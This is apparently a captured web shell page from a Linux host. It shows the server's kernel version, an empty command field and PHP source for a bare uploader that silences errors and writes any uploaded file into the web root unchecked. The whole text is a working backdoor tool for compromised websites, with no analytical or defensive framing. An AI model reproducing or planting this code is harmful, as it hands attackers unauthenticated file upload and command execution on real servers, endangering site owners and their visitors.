system: Linux mars.sprixweb.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64

cmd: 

<?php error_reporting(0);echo"<title>UPLOAD</title>";echo"<form method=post enctype=multipart/form-data>";echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";if($_POST["v"]==up){ if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>Ok</b>-->".$_FILES["f"]["name"];}else{echo"<b>ERRoR";}}?>